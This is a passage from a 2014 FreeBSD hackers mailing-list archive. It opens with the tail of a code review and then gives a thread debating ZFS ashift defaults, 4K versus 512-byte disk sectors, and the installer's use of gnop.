(cpuset_setid(CPU_WHICH_PID, 1, setid) !=3D 0) This could be else if () again to reduce indentation. > + warning("cpuset_setsid failed: %m"); > + } > + } > + } > /* > * Additional check if devfs needs to be mounted: > * If "/" and "/dev" have the same device number, > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" --6k8oSBQUGGHRSAt9 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTjKryAAoJEJDCuSvBvK1BbUkP/0yDiTkAjyiMWLdm19y8Rkbz 2K5TcZCnbHbHvrd+Z3zGuH+Op7vSWvJ1sHuE4Qfe9VSPDQyk8T3vhSEp9s/KWlhe dwOhBDxL6Nk/lhn9eGjLWjAe/UmVS0Q8M+v0QX4X7ZbCgVaHQApLu+z9ejeGmCt6 bGqZmXmYmshtPEm8k9NlV9sHwaAB8ySVGf9WYWUDPBg+MS9IFACavRF1tQeXYaH1 8duuzSbhUvARaM5qEz9fwep28AiyX7EFgsukfytS9O7JStDc8Qgjdc2iCtzCUqXI duYwhMNfCEhoYbCCjdycd4FtyKhLgBbXEWMj5n7PipN9+qUemSwH7Ascjo0ybw/e sXt35km9tqKm+xpsHzkKrW73/ibewCf5bN4xndaOwlgNRrmKNYvwCYa2xi4nRUqB u6BCBBtIaDN+Vwa/993AKegbwPMF27HOdPGEpSigcq5AUYAh631rRNnNh0hipMn/ TiWR8BvBqNqkigKr/FYcUv2OrsengywUYSE81zVoWM3r/MdyKCqcmo6p9yHDuEXp nSEFZjg/JYjIgGfjTvTvqoFjijw7k59zPFXhOGpyr0WSztstIq6p0mEheuMN6n0v zOSXLChAeT/ijCIgTpp52jz0/BOmtzehWx329U2ueLN4GfNWKLvUck9VWFwZ0gBl l4Fda7DWVipIP7Pg2pCe =EELr -----END PGP SIGNATURE----- --6k8oSBQUGGHRSAt9-- From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 2 17:03:34 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 001ED93E; Mon, 2 Jun 2014 17:03:33 +0000 (UTC) Received: from smtp1.multiplay.co.uk (smtp1.multiplay.co.uk [85.236.96.35]) by mx1.freebsd.org (Postfix) with ESMTP id B69882CF3; Mon, 2 Jun 2014 17:03:33 +0000 (UTC) Received: by smtp1.multiplay.co.uk (Postfix, from userid 65534) id 2E5DB20E7088B; Mon, 2 Jun 2014 17:03:26 +0000 (UTC) X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on smtp1.multiplay.co.uk X-Spam-Level: ** X-Spam-Status: No, score=2.3 required=8.0 tests=AWL,BAYES_00,DOS_OE_TO_MX, FSL_HELO_NON_FQDN_1,HELO_NO_DOMAIN,RDNS_DYNAMIC,STOX_REPLY_TYPE autolearn=no version=3.3.1 Received: from r2d2 (82-69-141-170.dsl.in-addr.zen.co.uk [82.69.141.170]) by smtp1.multiplay.co.uk (Postfix) with ESMTPS id F3B9020E70886; Mon, 2 Jun 2014 17:03:20 +0000 (UTC) Message-ID: From: "Steven Hartland" To: "Allan Jude" , References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> <3D6974D83AE9495E890D9F3CA654FA94@multiplay.co.uk> <538B4CEF.2030801@freebsd.org> <1DB2D63312CE439A96B23EAADFA9436E@multiplay.co.uk> <538B4FD7.4090000@freebsd.org> <538C7035.5080700@freebsd.org> Subject: Re: fdisk(8) vs gpart(8), and gnop Date: Mon, 2 Jun 2014 18:03:26 +0100 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6157 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 02 Jun 2014 17:03:34 -0000 ----- Original Message ----- From: "Allan Jude" > On 2014-06-01 12:07, Nathan Whitehorn wrote: >> >> So the discussion here is related to what to do about the installer. The >> current ZFS component unconditionally creates gnops all over the place >> to set ashift to 4k. That's across the board worse: it has exactly the >> performance impact of changing the default of this sysctl (whatever that >> is), it can't easily be overridden (which the sysctl can), and it's a >> horrible hack to boot. There are a few options: >> >> 1. Change the default of vfs.zfs.min_auto_ashift >> 2. Have the same effect but in a vastly worse way by adjusting the >> installer to create gnops >> 3. Have ZFS choose by itself and decide to do that permanently. >> >> Our ATA code is good about reporting block sizes now, so (3) isn't a big >> issue except for the mixed-pool case, which is a huge PITA. >> >> We need to choose one of these. I favor (1). >> -Nathan > > I favour 1 as well. > > Note: the current ZFS installer script forces 4k with gnop if the option > is turned on (it is by default), but you can have it not use gnop. > > But yes, this new sysctl (it is very new), is great. Will it be MFC'd in > time for 9.3? I MFC'ed to stable/10 and stable/9 ~2 weeks so yes :) From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 2 17:07:14 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 44941C15; Mon, 2 Jun 2014 17:07:14 +0000 (UTC) Received: from smtp1.multiplay.co.uk (smtp1.multiplay.co.uk [85.236.96.35]) by mx1.freebsd.org (Postfix) with ESMTP id D18CB2D35; Mon, 2 Jun 2014 17:07:13 +0000 (UTC) Received: by smtp1.multiplay.co.uk (Postfix, from userid 65534) id E7BB020E7088B; Mon, 2 Jun 2014 17:07:12 +0000 (UTC) X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on smtp1.multiplay.co.uk X-Spam-Level: ** X-Spam-Status: No, score=2.0 required=8.0 tests=AWL,BAYES_00,DOS_OE_TO_MX, FSL_HELO_NON_FQDN_1,HELO_NO_DOMAIN,RDNS_DYNAMIC autolearn=no version=3.3.1 Received: from r2d2 (82-69-141-170.dsl.in-addr.zen.co.uk [82.69.141.170]) by smtp1.multiplay.co.uk (Postfix) with ESMTPS id 10B7D20E70886; Mon, 2 Jun 2014 17:07:09 +0000 (UTC) Message-ID: From: "Steven Hartland" To: "Nathan Whitehorn" , "Matthew Ahrens" References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> <3D6974D83AE9495E890D9F3CA654FA94@multiplay.co.uk> <538B4CEF.2030801@freebsd.org> <1DB2D63312CE439A96B23EAADFA9436E@multiplay.co.uk> <538B4FD7.4090000@freebsd.org> <538C9207.9040806@freebsd.org> Subject: Re: fdisk(8) vs gpart(8), and gnop Date: Mon, 2 Jun 2014 18:07:14 +0100 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=response Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6157 Cc: freebsd-fs , FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 02 Jun 2014 17:07:14 -0000 ----- Original Message ----- From: "Nathan Whitehorn" To: "Matthew Ahrens" Cc: "freebsd-fs" ; "FreeBSD Hackers" ; "Steven Hartland" Sent: Monday, June 02, 2014 4:02 PM Subject: Re: fdisk(8) vs gpart(8), and gnop > On 06/01/14 14:27, Matthew Ahrens wrote: >> >>>> I think you will get some objections to that, as it can have quite an >>>> impact >>>> on the performance for disks which are 512, due to the increased overhead >>>> of >>>> transfering 4k when only 512 is really required. This has a more dramatic >>>> impact on RAIDZx due too. >>>> >>>> Personally we run a custom kernel on our machines which has just this >>>> change >>>> in it to ensure capability with future disks, so I can confirm it does >>>> indeed >>>> have the desired effect :) >>>> >>> So the discussion here is related to what to do about the installer. The >>> current ZFS component unconditionally creates gnops all over the place to >>> set ashift to 4k. That's across the board worse: it has exactly the >>> performance impact of changing the default of this sysctl (whatever that >>> is), it can't easily be overridden (which the sysctl can), and it's a >>> horrible hack to boot. There are a few options: >>> >>> 1. Change the default of vfs.zfs.min_auto_ashift >>> >> This is probably a bad idea -- as others have mentioned, it can drastically >> impact space usage and performance on 512B disks, especially when using >> small ZFS blocks (e.g. for databases or VDI) and/or RAID-Z. That said, it >> could be a reasonable default for specialized distros that are not used for >> these workloads (maybe FreeNAS or PCBSD?). >> >> 2. Have the same effect but in a vastly worse way by adjusting the >>> installer to create gnops >>> 3. Have ZFS choose by itself and decide to do that permanently. >>> >> If the device reports a 512B sector size, it would be great for ZFS to >> assume the device could be lying, and automatically determine the minimum >> ashift which gives good performance. I think this could be done reasonably >> well for the common case by doing the following when each 512B-sector >> device is added: >> >> 1. do random 4KB writes to the disk to determine wIOPS@4K >> 2. do random 3.5KB writes to the disk to determine wIOPS@3.5K >> >> If wIOPS@4K > wIOPS@3.5K, assume 4KB sectors, otherwise assume 512B >> sectors. (Note: I haven't tried this in practice; we will need to test it >> out and perhaps make some tweaks.) >> >> I don't have the time or hardware to implement and test this, but I'd be >> happy to mentor or code review. >> >> --matt > > I think we basically don't have any lying disks anymore. The ATA code does a very good job of this -- most tell the truth, but > in an odd way that gets reported up the stack. ada(4) has a quirks table for the ones that do not. If this is the only concern, > then we should just stop telling people to worry about this. > > My bigger concern is this pool upgrade one -- what if someone puts in a 4K disk in the future? Thats very much not the case I'm afraid, I try to add quirks for disk as they are reported but there's always going to be quite a few which are wrong until manufacturers stop making their FW lie :( We really need a system which can be user updated for this sort of thing but I've not had any time to even think about that I'm afraid. IIRC scottl has ideas in the this area too. Regards Steve Regards Steve From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 2 17:12:52 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 06256E50; Mon, 2 Jun 2014 17:12:52 +0000 (UTC) Received: from smtp1.multiplay.co.uk (smtp1.multiplay.co.uk [85.236.96.35]) by mx1.freebsd.org (Postfix) with ESMTP id B85252DFB; Mon, 2 Jun 2014 17:12:51 +0000 (UTC) Received: by smtp1.multiplay.co.uk (Postfix, from userid 65534) id E56F520E7088C; Mon, 2 Jun 2014 17:12:50 +0000 (UTC) X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on smtp1.multiplay.co.uk X-Spam-Level: ** X-Spam-Status: No, score=2.0 required=8.0 tests=AWL,BAYES_00,DOS_OE_TO_MX, FSL_HELO_NON_FQDN_1,HELO_NO_DOMAIN,RDNS_DYNAMIC autolearn=no version=3.3.1 Received: from r2d2 (82-69-141-170.dsl.in-addr.zen.co.uk [82.69.141.170]) by smtp1.multiplay.co.uk (Postfix) with ESMTPS id 8380E20E70886; Mon, 2 Jun 2014 17:12:45 +0000 (UTC) Message-ID: From: "Steven Hartland" To: "Mark Felder" , "Nathan Whitehorn" References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> <3D6974D83AE9495E890D9F3CA654FA94@multiplay.co.uk> <538B4CEF.2030801@freebsd.org> <1DB2D63312CE439A96B23EAADFA9436E@multiplay.co.uk> <538B4FD7.4090000@freebsd.org> <538C9207.9040806@freebsd.org> Subject: Re: fdisk(8) vs gpart(8), and gnop Date: Mon, 2 Jun 2014 18:12:50 +0100 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=response Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6157 Cc: freebsd-fs@freebsd.org, FreeBSD Hackers , Matthew Ahrens , owner-freebsd-fs@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 02 Jun 2014 17:12:52 -0000 ----- Original Message ----- From: "Mark Felder" > On 2014-06-02 10:02, Nathan Whitehorn wrote: >> >> My bigger concern is this pool upgrade one -- what if someone puts in >> a 4K disk in the future? > > This is a concern of mine, and I sort of wish we did 4k by default and > forced people to override if they want 512b or something else. That is exactly why we enforce min 4k everywhere here too, but its not for everyone which is why I stuck to 512b default when I added it. I guess the big question is: Is future compatibility vs performance the right way to go for the default as those what want the absolute best performance could always reduce the value prior to creating / added top level vdevs? Regards Steve From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 2 17:15:53 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id F1D5AFF1; Mon, 2 Jun 2014 17:15:52 +0000 (UTC) Received: from aslan.scsiguy.com (aslan.scsiguy.com [70.89.174.89]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id A21102E32; Mon, 2 Jun 2014 17:15:52 +0000 (UTC) Received: from jt-mbp.sldomain.com (207-225-98-3.dia.static.qwest.net [207.225.98.3]) (authenticated bits=0) by aslan.scsiguy.com (8.14.8/8.14.8) with ESMTP id s52HFlxG018167 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NO); Mon, 2 Jun 2014 11:15:49 -0600 (MDT) (envelope-from gibbs@scsiguy.com) Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.2\)) Subject: Re: fdisk(8) vs gpart(8), and gnop From: "Justin T. Gibbs" In-Reply-To: Date: Mon, 2 Jun 2014 11:15:42 -0600 Content-Transfer-Encoding: quoted-printable Message-Id: <61DC020F-F061-4A6E-AAEA-F0AE4CAE92F9@scsiguy.com> References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> <3D6974D83AE9495E890D9F3CA654FA94@multiplay.co.uk> <538B4CEF.2030801@freebsd.org> <1DB2D63312CE439A96B23EAADFA9436E@multiplay.co.uk> <538B4FD7.4090000@freebsd.org> <538C9207.9040806@freebsd.org> To: Mark Felder X-Mailer: Apple Mail (2.1878.2) Cc: freebsd-fs@freebsd.org, FreeBSD Hackers , Matthew Ahrens , owner-freebsd-fs@freebsd.org, Nathan Whitehorn X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 02 Jun 2014 17:15:53 -0000 On Jun 2, 2014, at 9:49 AM, Mark Felder wrote: > On 2014-06-02 10:02, Nathan Whitehorn wrote: >> My bigger concern is this pool upgrade one -- what if someone puts in >> a 4K disk in the future? >=20 > This is a concern of mine, and I sort of wish we did 4k by default and = forced people to override if they want 512b or something else. Adding a 4k sectored device is fine. You just need to use it in a new = top-level vdev in the pool. If you are at the point where you can=92t get new or compatible = warrantee replacements for the drives that may fail in your existing = pool, you should be migrating your data to new devices anyway. Mixing = devices with different performance characteristics within a TLV can lead = to pessimal behavior. I don=92t think that ZFS should jump through = large hoops to try and make this work well. Instead, we should = encourage the use of similar devices within a TLV (guidance that the = installer has sufficient information to provide*) and the system should = be optimized assuming this is how it will be used. I certainly *do not* want FreeBSD to automatically inflate the ashift = used on my pools. Doing so is an attempt to guess why I chose the = devices I did at pool creation time and my strategy for retiring them in = the future. The current proposal guesses wrong for me and the products = I help build. I=92d bet it will be wrong more times than right. =97 Justin *) Using the tools already in FreeBSD it is quite easy to group devices = by transport type, capacity, logical block size, physical block size, = and, for at least SCSI transports, media rotational speed. We do this = in Spectra=92s ZFS appliance so users have to work really hard to mix = devices that they shouldn=92t.= From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 2 17:20:10 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 40BEB227; Mon, 2 Jun 2014 17:20:10 +0000 (UTC) Received: from d.mail.sonic.net (d.mail.sonic.net [64.142.111.50]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 231BA2E72; Mon, 2 Jun 2014 17:20:09 +0000 (UTC) Received: from aurora.physics.berkeley.edu (aurora.Physics.Berkeley.EDU [128.32.117.67]) (authenticated bits=0) by d.mail.sonic.net (8.14.4/8.14.4) with ESMTP id s52HK7nD016453 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NOT); Mon, 2 Jun 2014 10:20:07 -0700 Message-ID: <538CB246.9080905@freebsd.org> Date: Mon, 02 Jun 2014 10:20:06 -0700 From: Nathan Whitehorn User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: "Justin T. Gibbs" , Mark Felder Subject: Re: fdisk(8) vs gpart(8), and gnop References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> <3D6974D83AE9495E890D9F3CA654FA94@multiplay.co.uk> <538B4CEF.2030801@freebsd.org> <1DB2D63312CE439A96B23EAADFA9436E@multiplay.co.uk> <538B4FD7.4090000@freebsd.org> <538C9207.9040806@freebsd.org> <61DC020F-F061-4A6E-AAEA-F0AE4CAE92F9@scsiguy.com> In-Reply-To: <61DC020F-F061-4A6E-AAEA-F0AE4CAE92F9@scsiguy.com> Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 8bit X-Sonic-ID: C;eqR8JHrq4xGzasUoeQW9yA== M;MIimJHrq4xGzasUoeQW9yA== Cc: freebsd-fs@freebsd.org, FreeBSD Hackers , Matthew Ahrens , owner-freebsd-fs@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 02 Jun 2014 17:20:10 -0000 On 06/02/14 10:15, Justin T. Gibbs wrote: > On Jun 2, 2014, at 9:49 AM, Mark Felder wrote: > >> On 2014-06-02 10:02, Nathan Whitehorn wrote: >>> My bigger concern is this pool upgrade one -- what if someone puts in >>> a 4K disk in the future? >> This is a concern of mine, and I sort of wish we did 4k by default and forced people to override if they want 512b or something else. > Adding a 4k sectored device is fine. You just need to use it in a new top-level vdev in the pool. > > If you are at the point where you can’t get new or compatible warrantee replacements for the drives that may fail in your existing pool, you should be migrating your data to new devices anyway. Mixing devices with different performance characteristics within a TLV can lead to pessimal behavior. I don’t think that ZFS should jump through large hoops to try and make this work well. Instead, we should encourage the use of similar devices within a TLV (guidance that the installer has sufficient information to provide*) and the system should be optimized assuming this is how it will be used. > > I certainly *do not* want FreeBSD to automatically inflate the ashift used on my pools. Doing so is an attempt to guess why I chose the devices I did at pool creation time and my strategy for retiring them in the future. The current proposal guesses wrong for me and the products I help build. I’d bet it will be wrong more times than right. > > — > Justin > > *) Using the tools already in FreeBSD it is quite easy to group devices by transport type, capacity, logical block size, physical block size, and, for at least SCSI transports, media rotational speed. We do this in Spectra’s ZFS appliance so users have to work really hard to mix devices that they shouldn’t. > Well, this makes it sound easy then. We just don't worry about it and keep the existing defaults. This requires some documentation updates and changes to the installer. The "standard" advice seems to be universally to add gnops to set the sector size to 4k and the existing installer ZFS support does this. -Nathan From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 2 16:37:17 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A5A2B892 for ; Mon, 2 Jun 2014 16:37:17 +0000 (UTC) Received: from mail-pd0-x234.google.com (mail-pd0-x234.google.com [IPv6:2607:f8b0:400e:c02::234]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 532F72A1B for ; Mon, 2 Jun 2014 16:37:17 +0000 (UTC) Received: by mail-pd0-f180.google.com with SMTP id y13so3603675pdi.39 for ; Mon, 02 Jun 2014 09:37:16 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=delphix.com; s=google; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=bwzj8nSsmgJWdnVCwWtYZ4ZSvRs2oTN3S+7Jnk/tsRE=; b=Vsm+SJwWORZOynBmpld2S15HbEh1w8ABiaKvzU5ZkrKyHV5thOW0zGl/jTzPfzeMEd 91bFPRUN5XhSbls+JBvr/Y8W8Mearf8s+qLjdy3TAlJr8gwOqGLHjh+R3BwvsX8gLltP c2EzxNQYPfsJAfw6M4Tcx393AFOPhHCfob7Ds= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=bwzj8nSsmgJWdnVCwWtYZ4ZSvRs2oTN3S+7Jnk/tsRE=; b=bSiLmcCmUnoM8fT/abAi3lEh46nSCI6Xkqb7cLycDfiCG3legWUqBk8TG+UKKE5i++ tfUFqWxX/55apq0drX3+MQa/hFRVFtblcexf/SL48ISLQ6ZXp9N+igrpB5paiDuGuFA2 Ybbe1/rJ6aXuWaPcd+uVM1keS6tl73bXuK9+wG6LlUOb2gZKJi2OVA48So6SjBjHwsTr GpBGS2ZeYffbjkTvEA3nNr/i18S8z27N3EiiVlY/uZvc0UzvTrkPGbiiuMu1hYIFuQUC Ecf7xhe9aCnZMmh4UU/LzPJ7ZQqgVOcGDRJeeQExUs39f61nX+1IvM3mQbLP3M+GIJJz Mu9g== X-Gm-Message-State: ALoCoQlS+uX9tY60z/5R+4lRBN4sS8y52GtgHdrruPVxY8IiCSqw7cOZo9eYe8ciEld0ui801gbQ MIME-Version: 1.0 X-Received: by 10.68.164.100 with SMTP id yp4mr41222247pbb.136.1401727036804; Mon, 02 Jun 2014 09:37:16 -0700 (PDT) Received: by 10.70.0.202 with HTTP; Mon, 2 Jun 2014 09:37:16 -0700 (PDT) In-Reply-To: <538C9207.9040806@freebsd.org> References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> <3D6974D83AE9495E890D9F3CA654FA94@multiplay.co.uk> <538B4CEF.2030801@freebsd.org> <1DB2D63312CE439A96B23EAADFA9436E@multiplay.co.uk> <538B4FD7.4090000@freebsd.org> <538C9207.9040806@freebsd.org> Date: Mon, 2 Jun 2014 09:37:16 -0700 Message-ID: Subject: Re: fdisk(8) vs gpart(8), and gnop From: Matthew Ahrens To: Nathan Whitehorn X-Mailman-Approved-At: Mon, 02 Jun 2014 18:07:22 +0000 Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: freebsd-fs , FreeBSD Hackers , Steven Hartland X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 02 Jun 2014 16:37:17 -0000 On Mon, Jun 2, 2014 at 8:02 AM, Nathan Whitehorn wrote: > > My bigger concern is this pool upgrade one -- what if someone puts in a 4K > disk in the future? > > We could dynamically change the "effective ashift" by preferring to allocate multiples of 4K. This would involve some work in the space allocator. Again, I don't have time to do this right now but would be happy to mentor someone. --matt From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 2 20:19:50 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BC0D1108; Mon, 2 Jun 2014 20:19:50 +0000 (UTC) Received: from wonkity.com (wonkity.com [67.158.26.137]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "wonkity.com", Issuer "wonkity.com" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 60ED52029; Mon, 2 Jun 2014 20:19:50 +0000 (UTC) Received: from wonkity.com (localhost [127.0.0.1]) by wonkity.com (8.14.8/8.14.8) with ESMTP id s52KJkEw015934 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO); Mon, 2 Jun 2014 14:19:46 -0600 (MDT) (envelope-from wblock@wonkity.com) Received: from localhost (wblock@localhost) by wonkity.com (8.14.8/8.14.8/Submit) with ESMTP id s52KJkFe015930; Mon, 2 Jun 2014 14:19:46 -0600 (MDT) (envelope-from wblock@wonkity.com) Date: Mon, 2 Jun 2014 14:19:45 -0600 (MDT) From: Warren Block To: Steven Hartland Subject: Re: fdisk(8) vs gpart(8), and gnop In-Reply-To: Message-ID: References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> <3D6974D83AE9495E890D9F3CA654FA94@multiplay.co.uk> <538B4CEF.2030801@freebsd.org> <1DB2D63312CE439A96B23EAADFA9436E@multiplay.co.uk> <538B4FD7.4090000@freebsd.org> <538C9207.9040806@freebsd.org> User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.4.3 (wonkity.com [127.0.0.1]); Mon, 02 Jun 2014 14:19:46 -0600 (MDT) Cc: freebsd-fs , FreeBSD Hackers , Matthew Ahrens , Nathan Whitehorn X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 02 Jun 2014 20:19:50 -0000 On Mon, 2 Jun 2014, Steven Hartland wrote: > > ----- Original Message ----- From: "Nathan Whitehorn" > >> >> I think we basically don't have any lying disks anymore. The ATA code does >> a very good job of this -- most tell the truth, but in an odd way that gets >> reported up the stack. ada(4) has a quirks table for the ones that do not. >> If this is the only concern, then we should just stop telling people to >> worry about this. >> >> My bigger concern is this pool upgrade one -- what if someone puts in a 4K >> disk in the future? > > Thats very much not the case I'm afraid, I try to add quirks for disk as > they are reported but there's always going to be quite a few which are > wrong until manufacturers stop making their FW lie :( > Both gpart and diskinfo show the correct values in the stripesize fields. At least, I've yet to see it be wrong. Maybe that is where ZFS should be getting the blocksize anyway. (Of course, stripesize might only be correct due to the quirks you mention, in which case... never mind.) From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 2 20:45:51 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 88D94E69; Mon, 2 Jun 2014 20:45:51 +0000 (UTC) Received: from smtp1.multiplay.co.uk (smtp1.multiplay.co.uk [85.236.96.35]) by mx1.freebsd.org (Postfix) with ESMTP id 456C02312; Mon, 2 Jun 2014 20:45:51 +0000 (UTC) Received: by smtp1.multiplay.co.uk (Postfix, from userid 65534) id B826E20E7088B; Mon, 2 Jun 2014 20:45:50 +0000 (UTC) X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on smtp1.multiplay.co.uk X-Spam-Level: ** X-Spam-Status: No, score=2.0 required=8.0 tests=AWL,BAYES_00,DOS_OE_TO_MX, FSL_HELO_NON_FQDN_1,HELO_NO_DOMAIN,RDNS_DYNAMIC autolearn=no version=3.3.1 Received: from r2d2 (82-69-141-170.dsl.in-addr.zen.co.uk [82.69.141.170]) by smtp1.multiplay.co.uk (Postfix) with ESMTPS id 6717120E70886; Mon, 2 Jun 2014 20:45:46 +0000 (UTC) Message-ID: <1389B184A2434E55BCB9AD457273D1CF@multiplay.co.uk> From: "Steven Hartland" To: "Warren Block" References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> <3D6974D83AE9495E890D9F3CA654FA94@multiplay.co.uk> <538B4CEF.2030801@freebsd.org> <1DB2D63312CE439A96B23EAADFA9436E@multiplay.co.uk> <538B4FD7.4090000@freebsd.org> <538C9207.9040806@freebsd.org> Subject: Re: fdisk(8) vs gpart(8), and gnop Date: Mon, 2 Jun 2014 21:45:51 +0100 